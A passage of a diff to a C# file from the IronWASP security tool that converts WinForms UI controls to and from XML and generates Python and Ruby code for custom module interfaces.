ModPanel(); } - break; - case ("ModTabControl"): - PyCode.AppendLine(string.Format("{0} = ModTabControl()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModTabControl.new()", ControlName)); - ModTabControl M = new ModTabControl(); - try - { - C = (ModTabControl)ModUiDesigner.IDH.CreateComponent(typeof(ModTabControl), ControlName); - } - catch { C = new ModTabControl(); } - break; - default: - continue; - } - SetNameInCode(PyCode, RbCode, ControlName, C); - ModCodeAndControlHolder CPECC = ConvertControlPropertiesEventHandlersChildrenToCode(ChildNode, ControlName, C); - PyCode.Append(CPECC.PyCode); - RbCode.Append(CPECC.RbCode); - PyCode.AppendLine(string.Format("{0}.Controls.Add({1})", ParentName, ControlName)); - RbCode.AppendLine(string.Format("{0}.Controls.Add({1})", ParentName, ControlName)); - PyCode.AppendLine(string.Format("ui.ModControls['{0}'] = {0}", ControlName)); - RbCode.AppendLine(string.Format("ui.mod_controls['{0}'] = {0}", ControlName)); - CPECC.Control.Parent = ParentControl; - } - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = ParentControl; - return Result; - } - string GetControlNameFromControlXmlNode(XmlNode Node) - { - if (Node.HasChildNodes) - { - foreach (XmlNode ChildNode in Node.ChildNodes) - { - if (ChildNode.Name.Equals(ModUiTags.Name)) return ChildNode.InnerText; - } - } - return ""; - } - static string PyBool(bool BoolValue) - { - if (BoolValue) - return "True"; - else - return "False"; - } - static string RbBool(bool BoolValue) - { - if (BoolValue) - return "true"; - else - return "false"; - } - //static string ConvertControlPropertiesXmlNodeToCode(XmlNode Node, bool IsPython) - //{ - // StringBuilder Code = new StringBuilder(); - // if (ValidControlTags.ContainsKey(Node.Name.ToLower())) - // { - - // } - // return Code.ToString(); - //} - #endregion - - #region DefinitionGetters - public static AnchorStyles GetAnchorStyleDefinition(bool Top, bool Bottom, bool Left, bool Right) - { - AnchorStyles AS = AnchorStyles.None; - if (Top || Bottom || Left || Right) - { - AS = AS ^ AnchorStyles.None; - if (Top) AS = AS | AnchorStyles.Top; - if (Bottom) AS = AS | AnchorStyles.Bottom; - if (Left) AS = AS | AnchorStyles.Left; - if (Right) AS = AS | AnchorStyles.Right; - } - return AS; - } - public static DockStyle GetDockStyleDefinition(string DockStyleName) - { - switch (DockStyleName) - { - case("Fill"): - return DockStyle.Fill; - case ("Top"): - return DockStyle.Top; - case ("Left"): - return DockStyle.Left; - case ("Right"): - return DockStyle.Right; - case ("Bottom"): - return DockStyle.Bottom; - default: - return DockStyle.None; - } - } - public static BorderStyle GetBorderStyleDefinition(string BorderStyleName) - { - switch (BorderStyleName) - { - case ("Fixed3D"): - return BorderStyle.Fixed3D; - case ("FixedSingle"): - return BorderStyle.FixedSingle; - case ("None"): - return BorderStyle.None; - default: - throw new Exception(string.Format("Invalid BorderStyle - {0}", BorderStyleName)); - } - } - public static ScrollBars GetScrollBarsDefinition(string ScrollBarsName) - { - switch (ScrollBarsName) - { - case ("Both"): - return ScrollBars.Both; - case ("Horizontal"): - return ScrollBars.Horizontal; - case ("None"): - return ScrollBars.None; - case ("Vertical"): - return ScrollBars.Vertical; - default: - throw new Exception(string.Format("Invalid ScrollBars - {0}", ScrollBarsName)); - } - } - public static RichTextBoxScrollBars GetRichTextBoxScrollBarsDefinition(string ScrollBarsName) - { - switch (ScrollBarsName) - { - case ("Both"): - return RichTextBoxScrollBars.Both; - case ("ForcedBoth"): - return RichTextBoxScrollBars.ForcedBoth; - case ("ForcedHorizontal"): - return RichTextBoxScrollBars.ForcedHorizontal; - case ("ForcedVertical"): - return RichTextBoxScrollBars.ForcedVertical; - case ("Horizontal"): - return RichTextBoxScrollBars.Horizontal; - case ("Vertical"): - return RichTextBoxScrollBars.Vertical; - case ("None"): - return RichTextBoxScrollBars.None; - default: - throw new Exception(string.Format("Invalid ScrollBars - {0}", ScrollBarsName)); - } - } - public static HorizontalAlignment GetTextAlignDefinition(string TextAlignName) - { - switch (TextAlignName) - { - case ("Left"): - return HorizontalAlignment.Left; - case ("Right"): - return HorizontalAlignment.Right; - case ("Center"): - return HorizontalAlignment.Center; - default: - throw new Exception(string.Format("Invalid TextAlignment - {0}", TextAlignName)); - } - } - public static Font GetFontDefinition(string FontFamilyName, float Size, bool Bold, bool Italic, bool Strikeout, bool Underline) - { - FontStyle FS = FontStyle.Regular; - if (Bold || Italic || Strikeout || Underline) - { - FS = FS ^ FontStyle.Regular; - if (Bold) FS = FS | FontStyle.Bold; - if (Italic) FS = FS | FontStyle.Italic; - if (Strikeout) FS = FS | FontStyle.Strikeout; - if (Underline) FS = FS | FontStyle.Underline; - - } - return new Font(FontFamilyName, Size, FS); - } - public static Size GetSizeDefinition(int Width, int Height) - { - return new Size(Width, Height); - } - public static Point GetLocationDefinition(int X, int Y) - { - return new Point(X, Y); - } - public static Color GetColorDefinition(int Colorcode) - { - return Color.FromArgb(Colorcode); - } - public static Icon GetIconDefinition(string IconString) - { - MemoryStream TMS = new MemoryStream(Convert.FromBase64String(IconString)); - return new Icon(TMS); - } - public static DataGridViewColumn GetDataGridViewColumnDefinition(string Name, string Type, bool ReadOnly, float FillWeight, int Width, int MinWidth, string AutoSizeModeStr, string EncodedHeaderText) - { - DataGridViewColumn C = new DataGridViewColumn(); - switch (Type) - { - case("DataGridTextBoxColumn"): - case ("DataGridViewTextBoxCell"): - C = new DataGridViewTextBoxColumn(); - break; - case ("DataGridViewCheckBoxColumn"): - case ("DataGridViewCheckBoxCell"): - C = new DataGridViewCheckBoxColumn(); - break; - } - C.Name = Name; - C.FillWeight = FillWeight; - C.Width = Width; - C.MinimumWidth = MinWidth; - C.ReadOnly = ReadOnly; - C.HeaderText = Tools.Base64Decode(EncodedHeaderText); - C.HeaderCell.Style.Alignment = DataGridViewContentAlignment.MiddleCenter; - switch (AutoSizeModeStr) - { - case ("AllCells"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; - break; - case ("AllCellsExceptHeader"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCellsExceptHeader; - break; - case ("ColumnHeader"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.ColumnHeader; - break; - case ("DisplayedCells"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells; - break; - case ("DisplayedCellsExceptHeader"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCellsExceptHeader; - break; - case ("Fill"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; - break; - case ("None"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; - break; - case ("NotSet"): - C.AutoSizeMode = DataGridViewAutoSizeColumnMode.NotSet; - break; - } - return C; - } - #endregion - } - - public static class ModUiTags - { - #region Controls - public const string Ui = "UI"; - public const string ModLabel = "ModLabel"; - public const string ModButton = "ModButton"; - public const string ModTextBox = "ModTextBox"; - public const string ModRichTextBox = "ModRichTextBox"; - public const string ModCheckBox = "ModCheckBox"; - public const string ModRadioButton = "ModRadioButton"; - public const string ModDataGridView = "ModDataGridView"; - public const string ModPanel = "ModPanel"; - public const string ModTabControl = "ModTabControl"; - #endregion - #region Basic - public const string Properties = "properties"; - public const string EventHandlers = "event_handlers"; - public const string Children = "children"; - #endregion - #region Properties - //basic - public const string Name = "name"; - public const string Size = "size"; - public const string SizeWidth = "width"; - public const string SizeHeight = "height"; - public const string Location = "location"; - public const string LocationX = "x"; - public const string LocationY = "y"; - public const string Anchor = "anchor"; - public const string AnchorTop = "top"; - public const string AnchorBottom = "bottom"; - public const string AnchorLeft = "left"; - public const string AnchorRight = "right"; - public const string Dock = "dock"; - public const string Enabled = "enabled"; - public const string Visible = "visible"; - public const string BackColor = "back_color"; - public const string ForeColor = "fore_color"; - //form - public const string Icon = "icon"; - //text - public const string Font = "font"; - public const string FontBold = "bold"; - public const string FontFamily = "font_family"; - public const string FontItalic = "italic"; - public const string FontSize = "size"; - public const string FontStrikeout = "strikeout"; - public const string FontUnderline = "underline"; - public const string ReadOnly = "read_only"; - public const string BorderStyle = "border_style"; - public const string Text = "text"; - public const string PasswordChar = "pwd_char"; - public const string MultiLine = "multi_line"; - public const string Wordwrap = "word_wrap"; - public const string TextAlign = "text_align"; - public const string ScrollBars = "scroll_bars"; - //rich text - public const string Rtf = "rtf"; - public const string RichTextScrollBars = "rich_text_scroll_bars"; - public const string DetectUrls = "detect_urls"; - //radio button/checkbox - public const string Checked = "checked"; - //datagridview - public const string AllowUserToAddRows = "allow_add_rows"; - public const string AllowUserToDeleteRows = "allow_delete_rows"; - public const string AllowUserToOrderColumns = "allow_order_columns"; - public const string AllowUserToResizeColumns = "allow_resize_columns"; - public const string AllowUserToResizeRows = "allow_resize_rows"; - public const string ColumnHeadersVisible = "columns_headers_visible"; - public const string ColumnHeadersDefaultCellStyle = "columns_headers_default_cell_style"; - public const string ColumnHeadersBorderStyle = "columns_headers_border_style"; - public const string ColumnHeadersHeightSizeMode = "columns_headers_height_size_mode"; - public const string Columns = "columns"; - public const string Column = "column"; - public const string AutoSizeColumnsMode = "auto_size_columns_mode"; - public const string AlternatingRowsDefaultCellStyle = "alternating_rows_style"; - public const string AutoSizeRowsMode = "auto_size_rows_mode"; - public const string RowsDefaultCellStyle = "rows_default_cell_style"; - public const string RowHeadersVisible = "row_headers_visible"; - public const string DefaultCellStyle = "default_cell_style"; - public const string CellBorderStyle = "cell_border_style"; - public const string CellStyleAlignment = "alignment"; - public const string GridColor = "grid_color"; - public const string MultiSelect = "multi_select"; - public const string BackgroundColor = "background_color"; - public const string CellStyleWrapMode = "wrap_mode"; - public const string CellStyle = "wrap_mode"; - public const string SelectionMode = "selection_mode"; - //data grid view column listbox - public const string AutoSizeMode = "auto_size_mode"; - public const string SortMode = "sort_mode"; - public const string MinimumWidth = "minimum_width"; - public const string Width = "width"; - public const string Resizable = "resizable"; - public const string HeaderText = "header_text"; - public const string CellType = "cell_type"; - public const string FillWeight = "fill_weight"; - //tab control - public const string TabPages = "tab_pages"; - public const string TabPage = "tab_page"; - //panel & tab control - public const string Controls = "controls"; - - #endregion - #region EventHandlers - #endregion - - } - - public class ModCodeAndControlHolder - { - internal string XmlCode = ""; - internal string PyCode = ""; - internal string RbCode = ""; - internal Control Control = null; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Xml; +using System.IO; +using System.Windows.Forms; +using System.Drawing; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ModUiTools + { + List ControlNamesRead = new List(); + List ControlNamesUsed = new List(); + int ControlNameCounter = 1; + #region XmlCreation + internal static string XmlFromFormControl(Form F) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Ui)); + //SB.Append(XmlFromControlNameProperty(F.Name)); + //properties + SB.Append(StartTag(ModUiTags.Properties)); + SB.Append(XmlFromControlSizeProperty(F.Size)); + SB.Append(XmlFromControlTextProperty(F.Text)); + SB.Append(StartTag(ModUiTags.Icon)); + /**/ + MemoryStream MS = new MemoryStream(); + /**/ + F.Icon.Save(MS); + /**/ + SB.Append(Convert.ToBase64String(MS.ToArray())); + SB.Append(EndTag(ModUiTags.Icon)); + + SB.Append(EndTag(ModUiTags.Properties)); + //event handlers + SB.Append(XmlFromEventHandlers(ModUi.EventHandlers)); + //children + SB.Append(XmlFromControlChildrenProperty(F.Controls)); + + SB.Append(EndTag(ModUiTags.Ui)); + return SB.ToString(); + } + + static string XmlFromControl(Control C) + { + StringBuilder SB = new StringBuilder(); + switch (C.GetType().Name) + { + case (ModUiTags.ModTextBox): + SB.Append(XmlFromModTextBoxControl(C as ModTextBox)); + break; + case (ModUiTags.ModRichTextBox): + SB.Append(XmlFromModRichTextBoxControl(C as ModRichTextBox)); + break; + case (ModUiTags.ModLabel): + SB.Append(XmlFromModLabelControl(C as ModLabel)); + break; + case (ModUiTags.ModButton): + SB.Append(XmlFromModButtonControl(C as ModButton)); + break; + case (ModUiTags.ModCheckBox): + SB.Append(XmlFromModCheckBoxControl(C as ModCheckBox)); + break; + case (ModUiTags.ModRadioButton): + SB.Append(XmlFromModRadioButtonControl(C as ModRadioButton)); + break; + case (ModUiTags.ModDataGridView): + SB.Append(XmlFromModDataGridViewControl(C as ModDataGridView)); + break; + case (ModUiTags.ModPanel): + SB.Append(XmlFromModPanelControl(C as ModPanel)); + break; + case (ModUiTags.ModSplitContainer): + SB.Append(XmlFromModSplitContainer(C as ModSplitContainer)); + break; + case (ModUiTags.ModTabControl): + SB.Append(XmlFromModTabControl(C as ModTabControl)); + break; + } + return SB.ToString(); + } + static string XmlFromModTextBoxControl(ModTextBox C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModTextBox)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //textbox specific properties + SB.Append(XmlFromControlBorderStyleProperty(C.BorderStyle)); + SB.Append(XmlFromControlReadOnlyProperty(C.ReadOnly)); + SB.Append(XmlFromControlScrollBarsProperty(C.ScrollBars)); + SB.Append(XmlFromControlFontProperty(C.Font)); + SB.Append(XmlFromControlMultiLineProperty(C.Multiline)); + SB.Append(XmlFromControlPasswordCharProperty(C.PasswordChar)); + SB.Append(XmlFromControlWordWrapProperty(C.WordWrap)); + SB.Append(XmlFromControlTextAlignProperty(C.TextAlign)); + SB.Append(XmlFromControlTextProperty(C.Text)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModTextBox)); + + return SB.ToString(); + } + static string XmlFromModRichTextBoxControl(ModRichTextBox C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModRichTextBox)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //textbox specific properties + SB.Append(XmlFromControlBorderStyleProperty(C.BorderStyle)); + SB.Append(XmlFromControlReadOnlyProperty(C.ReadOnly)); + SB.Append(XmlFromControlScrollBarsProperty(C.ScrollBars)); + SB.Append(XmlFromControlFontProperty(C.Font)); + SB.Append(XmlFromControlMultiLineProperty(C.Multiline)); + SB.Append(XmlFromControlWordWrapProperty(C.WordWrap)); + SB.Append(XmlFromControlTextProperty(C.Text)); + //richtextbox specific properties + SB.Append(XmlFromControlDetectUrlsProperty(C.DetectUrls)); + SB.Append(XmlFromControlRichTextProperty(C.Rtf)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModRichTextBox)); + + return SB.ToString(); + } + static string XmlFromModLabelControl(ModLabel C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModLabel)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //label specific properties + SB.Append(XmlFromControlBorderStyleProperty(C.BorderStyle)); + SB.Append(XmlFromControlFontProperty(C.Font)); + SB.Append(XmlFromControlTextProperty(C.Text)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModLabel)); + + return SB.ToString(); + } + static string XmlFromModButtonControl(ModButton C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModButton)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //button specific properties + SB.Append(XmlFromControlFontProperty(C.Font)); + SB.Append(XmlFromControlTextProperty(C.Text)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModButton)); + + return SB.ToString(); + } + static string XmlFromModCheckBoxControl(ModCheckBox C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModCheckBox)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //checkbox specific properties + SB.Append(XmlFromControlFontProperty(C.Font)); + SB.Append(XmlFromControlTextProperty(C.Text)); + SB.Append(XmlFromControlCheckedProperty(C.Checked)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModCheckBox)); + + return SB.ToString(); + } + static string XmlFromModRadioButtonControl(ModRadioButton C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModRadioButton)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //textbox specific properties + SB.Append(XmlFromControlFontProperty(C.Font)); + SB.Append(XmlFromControlTextProperty(C.Text)); + SB.Append(XmlFromControlCheckedProperty(C.Checked)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModRadioButton)); + + return SB.ToString(); + } + static string XmlFromModDataGridViewControl(ModDataGridView C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModDataGridView)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //textbox specific properties + SB.Append(XmlFromAllowUserToAddRowsProperty(C.AllowUserToAddRows)); + SB.Append(XmlFromAllowUserToDeleteRowsProperty(C.AllowUserToDeleteRows)); + SB.Append(XmlFromAllowUserToOrderColumnsProperty(C.AllowUserToOrderColumns)); + SB.Append(XmlFromAllowUserToResizeColumnsProperty(C.AllowUserToResizeColumns)); + SB.Append(XmlFromAllowUserToResizeRowsProperty(C.AllowUserToResizeRows)); + SB.Append(XmlFromColumnHeadersVisibleProperty(C.ColumnHeadersVisible)); + SB.Append(XmlFromRowHeadersVisibleProperty(C.RowHeadersVisible)); + //SB.Append(XmlFromColumnHeadersDefaultCellStyleProperty(C.ColumnHeadersDefaultCellStyle)); + SB.Append(XmlFromColumnHeadersHeightSizeModeProperty(C.ColumnHeadersHeightSizeMode)); + SB.Append(XmlFromControlSelectionModeProperty(C.SelectionMode)); + SB.Append(XmlFromControlGridColorProperty(C.GridColor)); + SB.Append(XmlFromColumnsProperty(C.Columns)); + SB.Append(EndTag(ModUiTags.Properties)); + + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModDataGridView)); + + return SB.ToString(); + } + static string XmlFromModPanelControl(ModPanel C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModPanel)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + SB.Append(EndTag(ModUiTags.Properties)); + //child controls + SB.Append(XmlFromControlChildrenProperty(C.Controls)); + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModPanel)); + + return SB.ToString(); + } + static string XmlFromModSplitContainer(ModSplitContainer C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModSplitContainer)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + SB.Append(XmlFromSplitContainerFixedPanel(C.FixedPanel)); + SB.Append(XmlFromSplitContainerIsSplitterFixed(C.IsSplitterFixed)); + SB.Append(XmlFromSplitContainerOrientation(C.Orientation)); + SB.Append(XmlFromSplitContainerSplitterDistance(C.SplitterDistance)); + SB.Append(EndTag(ModUiTags.Properties)); + //child controls + SB.Append(XmlFromSplitContainerPanelOneChildrenProperty(C.Panel1)); + SB.Append(XmlFromSplitContainerPanelTwoChildrenProperty(C.Panel2)); + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModSplitContainer)); + + return SB.ToString(); + } + static string XmlFromModTabControl(ModTabControl C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.ModTabControl)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + SB.Append(XmlFromBasicProperties(C)); + //tab pages + SB.Append(StartTag(ModUiTags.TabPages)); + foreach (TabPage T in C.TabPages) + { + SB.Append(XmlFromTabPageControl(T)); + } + SB.Append(EndTag(ModUiTags.TabPages)); + SB.Append(EndTag(ModUiTags.Properties)); + //child controls + SB.Append(XmlFromControlChildrenProperty(C.Controls)); + SB.Append(XmlFromEventHandlers(C.EventHandlers)); + + SB.Append(EndTag(ModUiTags.ModTabControl)); + + return SB.ToString(); + } + static string XmlFromTabPageControl(TabPage C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.TabPage)); + SB.Append(XmlFromControlNameProperty(C)); + SB.Append(StartTag(ModUiTags.Properties)); + //basic properties + //SB.Append(XmlFromBasicProperties(C)); + //tabpage properties + SB.Append(XmlFromTagValue(ModUiTags.Text, C.Text)); + SB.Append(EndTag(ModUiTags.Properties)); + //child controls + SB.Append(XmlFromControlChildrenProperty(C.Controls)); + //SB.Append(XmlFromEventHandlers(new Dictionary{})); + SB.Append(EndTag(ModUiTags.TabPage)); + + return SB.ToString(); + } + + static string XmlFromBasicProperties(Control C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(XmlFromControlSizeProperty(C.Size)); + SB.Append(XmlFromControlLocationProperty(C)); + SB.Append(XmlFromControlAnchorProperty(C)); + SB.Append(XmlFromControlDockProperty(C)); + SB.Append(XmlFromControlEnabledProperty(C)); + //SB.Append(XmlFromControlVisibleProperty(C)); + if (C.GetType() == typeof(ModDataGridView)) + SB.Append(XmlFromControlBackgroundColorProperty((C as DataGridView).BackgroundColor)); + else + SB.Append(XmlFromControlBackColorProperty(C.BackColor)); + SB.Append(XmlFromControlForeColorProperty(C.ForeColor)); + return SB.ToString(); + } + static string XmlFromControlNameProperty(Control C) + { + string Name = ""; + if(C.Name.Equals(C.Site.Name)) + { + Name = C.Name; + } + else + { + if(C.Site.Name.Length > 0) + Name = C.Site.Name; + else + Name = C.Name; + } + return XmlFromControlNameProperty(Name); + } + static string XmlFromControlNameProperty(String Name) + { + return XmlFromTagValue(ModUiTags.Name, Name); + } + static string XmlFromControlSizeProperty(Size S) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Size)); + SB.Append(XmlFromTagValue(ModUiTags.SizeWidth, S.Width)); + SB.Append(XmlFromTagValue(ModUiTags.SizeHeight, S.Height)); + SB.Append(EndTag(ModUiTags.Size)); + return SB.ToString(); + } + static string XmlFromControlLocationProperty(Control C) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Location)); + SB.Append(XmlFromTagValue(ModUiTags.LocationX, C.Location.X)); + SB.Append(XmlFromTagValue(ModUiTags.LocationY, C.Location.Y)); + SB.Append(EndTag(ModUiTags.Location)); + return SB.ToString(); + } + static string XmlFromControlEnabledProperty(Control C) + { + return XmlFromTagValue(ModUiTags.Enabled, C.Enabled); + } + static string XmlFromControlVisibleProperty(Control C) + { + return XmlFromTagValue(ModUiTags.Visible, C.Visible); + } + static string XmlFromControlReadOnlyProperty(bool ReadOnly) + { + return XmlFromTagValue(ModUiTags.ReadOnly, ReadOnly); + } + static string XmlFromControlAnchorProperty(Control C) + { + List RawAnchors = new List(C.Anchor.ToString().Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)); + List Anchors = new List(); + foreach (string Anchor in RawAnchors) + { + Anchors.Add(Anchor.Trim()); + } + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Anchor)); + SB.Append(XmlFromTagValue(ModUiTags.AnchorTop, Anchors.Contains("Top"))); + SB.Append(XmlFromTagValue(ModUiTags.AnchorBottom, Anchors.Contains("Bottom"))); + SB.Append(XmlFromTagValue(ModUiTags.AnchorLeft, Anchors.Contains("Left"))); + SB.Append(XmlFromTagValue(ModUiTags.AnchorRight, Anchors.Contains("Right"))); + SB.Append(EndTag(ModUiTags.Anchor)); + return SB.ToString(); + } + static string XmlFromControlDockProperty(Control C) + { + string DockStyleName = C.Dock.ToString(); + return XmlFromTagValue(ModUiTags.Dock, DockStyleName); + } + static string XmlFromControlFontProperty(Font F) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Font)); + SB.Append(XmlFromTagValue(ModUiTags.FontBold, F.Bold)); + SB.Append(XmlFromTagValue(ModUiTags.FontFamily, F.FontFamily.Name)); + SB.Append(XmlFromTagValue(ModUiTags.FontItalic, F.Italic)); + SB.Append(XmlFromTagValue(ModUiTags.FontSize, F.Size)); + SB.Append(XmlFromTagValue(ModUiTags.FontStrikeout, F.Strikeout)); + SB.Append(XmlFromTagValue(ModUiTags.FontUnderline, F.Underline)); + SB.Append(EndTag(ModUiTags.Font)); + return SB.ToString(); + } + static string XmlFromControlBorderStyleProperty(BorderStyle BS) + { + return XmlFromTagValue(ModUiTags.BorderStyle, BS); + } + static string XmlFromControlTextProperty(string Text) + { + return XmlFromTagValue(ModUiTags.Text, Tools.Base64Encode(Text)); + } + static string XmlFromControlRichTextProperty(string RichText) + { + return XmlFromTagValue(ModUiTags.Rtf, Tools.Base64Encode(RichText)); + } + static string XmlFromControlBackColorProperty(Color C) + { + return XmlFromTagValue(ModUiTags.BackColor, C.ToArgb()); + } + static string XmlFromControlForeColorProperty(Color C) + { + return XmlFromTagValue(ModUiTags.ForeColor, C.ToArgb()); + } + static string XmlFromControlPasswordCharProperty(Char PasswordChar) + { + if (PasswordChar == '\0') + return XmlFromTagValue(ModUiTags.PasswordChar, ""); + else + return XmlFromTagValue(ModUiTags.PasswordChar, PasswordChar); + } + static string XmlFromControlMultiLineProperty(bool MultiLine) + { + return XmlFromTagValue(ModUiTags.MultiLine, MultiLine); + } + static string XmlFromControlWordWrapProperty(bool WordWrap) + { + return XmlFromTagValue(ModUiTags.Wordwrap, WordWrap); + } + static string XmlFromControlTextAlignProperty(HorizontalAlignment TextAlign) + { + return XmlFromTagValue(ModUiTags.TextAlign, TextAlign); + } + static string XmlFromControlScrollBarsProperty(ScrollBars ScBars) + { + return XmlFromTagValue(ModUiTags.ScrollBars, ScBars); + } + static string XmlFromControlScrollBarsProperty(RichTextBoxScrollBars ScBars) + { + return XmlFromTagValue(ModUiTags.RichTextScrollBars, ScBars); + } + static string XmlFromControlDetectUrlsProperty(bool DetectUrls) + { + return XmlFromTagValue(ModUiTags.DetectUrls, DetectUrls); + } + static string XmlFromControlCheckedProperty(bool Checked) + { + return XmlFromTagValue(ModUiTags.Checked, Checked); + } + static string XmlFromAllowUserToAddRowsProperty(bool Allow) + { + return XmlFromTagValue(ModUiTags.AllowUserToAddRows, Allow); + } + static string XmlFromAllowUserToDeleteRowsProperty(bool Allow) + { + return XmlFromTagValue(ModUiTags.AllowUserToDeleteRows, Allow); + } + static string XmlFromAllowUserToOrderColumnsProperty(bool Allow) + { + return XmlFromTagValue(ModUiTags.AllowUserToOrderColumns, Allow); + } + static string XmlFromAllowUserToResizeColumnsProperty(bool Allow) + { + return XmlFromTagValue(ModUiTags.AllowUserToResizeColumns, Allow); + } + static string XmlFromAllowUserToResizeRowsProperty(bool Allow) + { + return XmlFromTagValue(ModUiTags.AllowUserToResizeRows, Allow); + } + static string XmlFromColumnHeadersVisibleProperty(bool Visible) + { + return XmlFromTagValue(ModUiTags.ColumnHeadersVisible, Visible); + } + static string XmlFromRowHeadersVisibleProperty(bool Visible) + { + return XmlFromTagValue(ModUiTags.RowHeadersVisible, Visible); + } + static string XmlFromColumnHeadersDefaultCellStyleProperty(DataGridViewCellStyle CellStyle) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.DefaultCellStyle)); + SB.Append(XmlFromDataGridViewCellStyle(CellStyle)); + SB.Append(EndTag(ModUiTags.DefaultCellStyle)); + return SB.ToString(); + } + static string XmlFromDataGridViewCellStyle(DataGridViewCellStyle CellStyle) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.DefaultCellStyle)); + SB.Append(XmlFromTagValue(ModUiTags.CellStyleAlignment, CellStyle.Alignment.ToString())); + SB.Append(StartTag(ModUiTags.Font)); + SB.Append(XmlFromControlFontProperty(CellStyle.Font)); + SB.Append(EndTag(ModUiTags.Font)); + SB.Append(XmlFromTagValue(ModUiTags.BackColor, CellStyle.BackColor)); + SB.Append(XmlFromTagValue(ModUiTags.ForeColor, CellStyle.ForeColor)); + SB.Append(XmlFromTagValue(ModUiTags.CellStyleWrapMode, CellStyle.WrapMode)); + SB.Append(StartTag(ModUiTags.DefaultCellStyle)); + return SB.ToString(); + } + static string XmlFromColumnHeadersHeightSizeModeProperty(DataGridViewColumnHeadersHeightSizeMode SizeMode) + { + return 